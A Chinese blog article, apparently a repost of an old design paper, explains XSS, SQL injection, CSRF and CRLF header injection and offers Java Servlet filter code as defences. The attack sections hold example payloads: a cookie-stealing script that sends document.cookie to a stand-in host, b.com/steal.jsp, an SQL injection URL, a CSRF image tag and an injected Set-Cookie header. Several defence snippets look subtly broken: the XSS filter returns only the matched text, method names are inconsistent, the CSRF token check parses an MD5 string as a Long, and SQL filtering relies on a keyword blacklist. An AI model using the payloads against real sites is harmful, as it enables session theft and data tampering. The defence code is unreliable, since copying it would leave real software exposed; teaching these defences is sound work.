常见网络安全攻击分析

本文所述的常规性防御问题包括 XSS 攻击、 SQL 注入、CSRF 攻击、CRLF 注入,下面就逐一来分析这四种问题。

跨站脚本攻击 XSS

跨站脚本攻击(Cross Site Script,XSS,单词 Cross 可作“X”)是 Web 常见攻击的类型。同一域下面资源可以自由相互访问;不同域下面的资源,浏览器是会严格限制的。访问不同域称作“跨域”或“跨站”。如果主机名不相同(即使 a.qq.com 和 b.qq.com 的情况)被视作不同的两个域。域的隔离是必须的,否则其他网站可以轻易获取你银行网站的 Cookie,那么互联网则毫无安全可言。

HTML 元素中 <script src=xxx>、<img src=xxx>、<iframe src=xxx> 允许跨域获取资源,开放第三方脚本、外链图片和第三方页面引入到本页面中,也就是说 a.com 站点可以通过 <script src=”http://b.com/b.js”></script> 语句来加载来自于 b.com 站点的脚本 b.js。此 b.js 拥有权限来读取、修改或影响 a 网站的页面内容,却不受 a 站点的控制。假设当前 a 站点的某 web 页面包含一段盗取用户 Cookie 的 JavaScript 脚本,如下代码所示,然后欺骗用户在页面上点击。

new Image().src =”http://b.com/steal.jsp?data=+ escape(document.cookie);

然后发生的攻击是这样的,首先页面中包含了用户提供的数据,通过 document.cookie 可轻易获取该域下的 Cookie 信息,然后 escape() 函数对其编码,变成合法的URL 参数传递到攻击方指定的服务器上。而 new Image() 表示创建 HTML 图片元素,因为图片是允许跨域,所以浏览器会发出图片请求,连带账号 Cookie 的参数一并发出。那样目标用户的 Cookie 信息就会被盗取,攻击者可以利用该 Cookie 进一步控制目标用户的账号。

SQL 注入

SQL 注入攻击也是常见的攻击方式。所谓 SQL 注入式攻击,就是攻击者把 SQL 命令插入到 Web 表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的 SQL 命令。假设访问者可以通过 http://abc.com/test/userinfo.php?username=plhwin 这个URL来访问到具体某个会员的详情,正常情况下如果浏览器里传入的 username 是合法的,那么 SQL 语句会执行:

SELECT uid,username FROM user WHERE username='plhwin'

但是,如果用户在浏览器里把传入的 username 参数变为 plhwin';SHOW TABLES-- hack,也就是当URL变为 http://abc.com/test/userinfo.php?username=plhwin';SHOW TABLES-- hack 的时候,程序实际执行的 SQL 语句却变成:

SELECT uid,username FROM user WHERE username='plhwin';SHOW TABLES

在某些表单中,用户输入的内容直接用来构造动态 SQL 命令或作为存储过程的输入参数会令表单特别容易受到 SQL 注入式攻击。

跨站请求伪造 CSRF

跨站请求伪造 CSRF(Cross-site Request Forgery)和 XSS 名字都包含跨站的含义,关键的不同点在于 CSRF 的跨站是伪造的。一般情况下,如果请求不是用户发出的意愿,则这个请求可以列入 CSRF 的定义范围。例如目标网站 a.com,恶意网站 b.com。目标网站上有一个删除文章的功能,连接是 a.com/blog/del.jsp?id=1,这时入侵者欺骗用户成功登录 a.com,然后访问 b.com/csrf.htm 页面,该页面包含攻击代码: <img src=”http://a.com/blog/del.jsp?id=1” /> 即可删除 a.com 上面的文章。该过程是身份认证之后完成的。

针对 CSRF 较通用的防御方法是基于 TokenID(令牌ID)的验证,其具体流程是先使用 CsrfTokenId Creator 生成 csrf tokenid 后放入客户端表单及服务端 Session 中。生成的 key 名称须为 csrf_ 开头,然后当 POST 表单提交时对数据进行 CSRF TokenID 验证(与之和 Session 对比)。

HTTP响应头拆分 CRLF

虽只有一字之差,但 CSRF 和 CRLF 两种不同的攻击。CRLF 代表回车 + 换行(CR, ASCII 13, \r)换行(LF, ASCII 10, \n)的意思。HTTP 协议使用 CRLF 来表示每一行的结束。HTTP 头 header 的定义便是基于这样的"Key: Value"的结构,例如"Location:“头用来表示重定向的URL地址,”Set-Cookie:"头用来设置cookies。HTTP 头用 CRLF 命令表示一行的结尾,这意味着用户可以通过 CRLF 注入自定义 HTTP header。例如正常的 302 跳转是这样(如代码3所示):

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.qq.com

但如果注入了一个换行,此时的返回就会变成这样(如代码4所示):

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.qq.com
Set-cookie: JSPSESSID=abc

从最后一行 Set-cookie 可见,响应头给访问者设置了一个 Session,造成一个“会话固定漏洞”。

防御实现

Servlet 是 Java Web 开发的规范与API 设计。在用户提交数据和响应内容给用户这“一进一出”的两个环节也离不开 Servlet 各种 API 调用。做好数据入口、出口两个环节检测和过滤是整个防御链的关键所在。

使用请求、响应包装器

Servlet 提供了健全的 API 可供开发者自定义新的业务逻辑,开放程度较强,例如自带的 HttpServletRequestWrapper 和 HttpServletResponseWrapper,其作用就是通过包装器实现二次功能修改,达到自定义逻辑的目的。只要继承包装器类,就可以重写原 API 方法,这样外界调用该对象时亦是相同的 API、相同的方法签名和相同的参数列表,等于是对外部调用者是透明的,不会影响原有调用方式,但是返回的结果却不是原来的逻辑产生的结果。原因是我们中间加入了“包装器”这一层。重写的方法中,可通过 super.XXX() 方法调用父类的方法,也就是旧方法来获取旧的结果。通过这重写方法就可以对该结果进一步的加工。

实际上包装器乃设计模式“装饰者模式(Decorater)”的应用。装饰模式的基本含义是能够动态地为一个对象添加一些额外的行为职责。通过使用继承可以获取以下两种扩展特性:

  • 现有对象行为的覆盖——通过覆写(Override)父类中的已有方法完成。
  • 添加新的行为职责——通过在子类中添加新的方法完成。
    下面就以处理 XSS 攻击的方法为例子具体展开包装器的应用。

自定义 Request/Response API 过滤 XSS

XSS 过滤其本质工作是字符串转义,将危险的 XSS 代码变得不危险,例如将 Script 标签的 < > 符号转义。首先是获取请求参数的过滤,凡是涉及获取 Query String 和 From 表单参数的 Request 方法均要重写,例如 getParameter()、getParameterMap()、getParameterValues() 等。代码5中 XssReqeust 类首先继承了包装器 HttpServletRequestWrapper,紧接着重写 getParameter () 方法。
代码5

public class XssReqeust extends HttpServletRequestWrapper {
   ……
   @Override
   public String getParameter(String name) {
      name = XSS.xssFilter(name, XSS.XssFilterTypeEnum.DELETE.getValue());
      return XSS.xssFilter(super.getParameter(name), null);
  }
}

重写方法实际调用了过滤方法 XSS.xssFilter(),其源码如代码6所示。
代码6

public static String xssFilter(String input, String filterType) {
      if (input == null || "".equals(input))
            return input;

      if (filterType == null || !XssFilterTypeEnum.checkValid(filterType))
            filterType = XssFilterTypeEnum.ESCAPSE.getValue(); // 默认转义

      if (filterType.equals(XssFilterTypeEnum.ESCAPSE.getValue())) {
            Matcher matcher = xssPattern.matcher(input);

            if (matcher.find())
                  return matcher.group().replace("<", "&lt;").replace(">", "&gt;");
      }
      if (filterType.equals(XssFilterTypeEnum.DELETE.getValue()))
            return input.replaceAll(xssType, "");
      return input;
}

受篇幅所限,文中没有列出除 getParameter () 以外的API 重写方法。

对于响应对象 Resposne 也要进行过滤。在继承 HttpServletResponseWrapper 的新类中,重写添加头部信息的 setStatus() 方法,如代码7所示。 至于 addHeader() 、setHeader() 方法也进行了重写,只不过是针对 CLRF 攻击的。
代码7

public class XssResponse extends HttpServletResponseWrapper {
      @Override
      public void addHeader(String name, String value) {
            super.addHeader(CLRF.filterCLRF(name), XSS.xssFilter(CLRF.filterCLRF(value), null));
      }
 
      @Override
      public void setHeader(String name, String value) {
            super.setHeader(CLRF.filterCLRF(name), XSS.xssFilter(CLRF.filterCLRF(value), null));
      }

      @SuppressWarnings("deprecation")
      @Override
      public void setStatus(int sc, String sm) {
            super.setStatus(sc, XSS.xssFilter(sm, null));
      }
}

既然产生了新请求类 XssReqeust 和响应类 XssResponse,那怎么将其调用到一个 Servlet 请求中?XssReqeust 其父类仍是 HttpServletRequest,根据 Java 向下自动转换类型原则,可在过滤器中直接传入 chain.doFilter() 中(如代码8所示)。响应包装类 XssResponse 亦同理。
代码8

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class XssFilter implements Filter {
	@Override
	public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain chain)
			throws IOException, ServletException {
		chain.doFilter(new XssReqeust((HttpServletRequest) arg0), new XssResponse((HttpServletResponse) arg1));
	}

	……
}

综上可见,对应 Web 数据的“入口”和“出口”,HttpServletRequest 和HttpServletResponse 仍扮演重要的角色,故如何防范攻击的任务就落在这两者身上了。而HttpServletRequestWrapper 和 HttpServletResponseWrapper 则提供了较理想的扩展手段来契合了该需求,却又不影响当前现有的逻辑业务。

防御方法总结

上述攻击的防范处理手段整理如表2所示。其中 XXS 攻击防御方法已在前一小节分析介绍。
在这里插入图片描述
防止 SQL 注入较常见的方法也是过滤字符串,例子如代码9所示。判别的对象为 SQL 中的关键保留字,如 select、delete 等。关键字以字符串数组形式保存在 inj_stra 变量中,然后遍历该数组,如果发现传入的参数中包含 SQL 关键字,即抛出 IllegalArgumentException 非法参数的异常。
代码9

/**
 * 检查是否有 SQL 注入,如果有话抛出一个异常。
 * 
 * @param str
 *            可以是请求参数
 */
static void sqlCheck(String str) {
	String[] inj_stra = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|; |or|-|+|,".split("\\|");
	for (int i = 0; i < inj_stra.length; i++) {
		if (str.toLowerCase().indexOf(" " + inj_stra[i] + " ") >= 0) 
			throw new IllegalArgumentException(" SQL 注入!" + str);
	}
}

另外通过 JDBC 的 PrearedStatement 预编译语句方法,也能收到良好的防御效果。以下代码10 就是通过使用占位符 ? 代替参数将参数与 SQL 语句分离出来,从而阻止了 SQL 注入。

代码10
String sqlString ="INSERT INTO user(id, password, name, email, address) VALUES(?,?,?,?,?)"; 
PreparedStatement pstmt = connection.PreparedStatement(sqlString); 
pstmt.setString(1, user.id); 
pstmt.setString(2, user.password); 
pstmt.setString(3, user.name); 
pstmt.setString(4, user.email); 
pstmt.setString(5, user.address);

基于 Token 的检测能较好地防御 CSRF 伪造攻击,首先使用 CsrfTokenIdCreator 生成 csrf tokenid 。如代码11所示,Token 来自于 Session 的创建时间和 id 合并的字符串,然后对其求得 MD5 摘要字符串。MD5 结果一般不可以逆,使得客户端不能伪造 Token。得到 Token 之后分别放入 Session 和HTML 表单中,以便提交表单时对比检查。
代码11

public static String getCsrfTokenId(HttpSession session) {
   String str = session.getCreationTime() + session.getId();
   try {
      return new String(MessageDigest.getInstance("MD5").digest(str.getBytes()));
   } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
      return null;
   }
}

代码12是 HttpServletRequestWrapper 部分涉及 CSRF 检查 的方法,可以在 Servlet Filter 中调用 checkCsrfToken() 检测(仅当 POST 方法时检测)。csrfTokenKey 是前后端约定的、用于获取 Token 的键值。
代码12

private static final String CSRFTOKEN_PREFIX = "csrf_";
private static final String POST = "POST";

public void checkCsrfToken() throws SecurityException {
   if (getMethod().equals(POST)) {
      String csrfTokenKey = getTokenName();
      long csrfTokenId = (Long) getSession().getAttribute(csrfTokenKey), paramCsrfTokenId = Long.parseLong(getParameter(csrfTokenKey));

      if (csrfTokenId != paramCsrfTokenId)
         throw new SecurityException("POST数据的 CSRF 字段非法!");
   }
}

/**
 * 获取 csrf_开头的 key
 */
private String getTokenName() {
   Iterator<Entry<String, String[]>> iter = getParameterMap().entrySet().iterator();

   while (iter.hasNext()) {
      Entry<String, String[]> entry = iter.next();
      if (entry.getKey().startsWith(CSRFTOKEN_PREFIX))
         return entry.getKey();
   }
   return null;
}

如果检测 Token 不通过则抛出 SecurityException 的异常,中止了 Servlet Filter 过滤链的调用。
防御 CRLF 攻击可扩展 HttpServletResponseWrapper 子类相关方法,其中最重要仍是调用过滤方法,其源码如代码13所示,只要检测到 \r 或 \n 字符则跳过追加。

代码13

   /**
   * 过滤  \r 、\n之类的换行符
   * @param value
   */
   public static String filterCRLF(String value) {
      if (value == null || value.isEmpty()) return value;

      StringBuilder sb = new StringBuilder();
      for (int i = 0; i < value.length(); i++) {
         if (!(value.charAt(i) == '\r' || value.charAt(i) == '\n'))
            sb.append(value.charAt(i));
      }
      return sb.toString();
   }

(这是笔者以前的一篇设计论文)

猜你喜欢

转载自blog.csdn.net/zhangxin09/article/details/105057572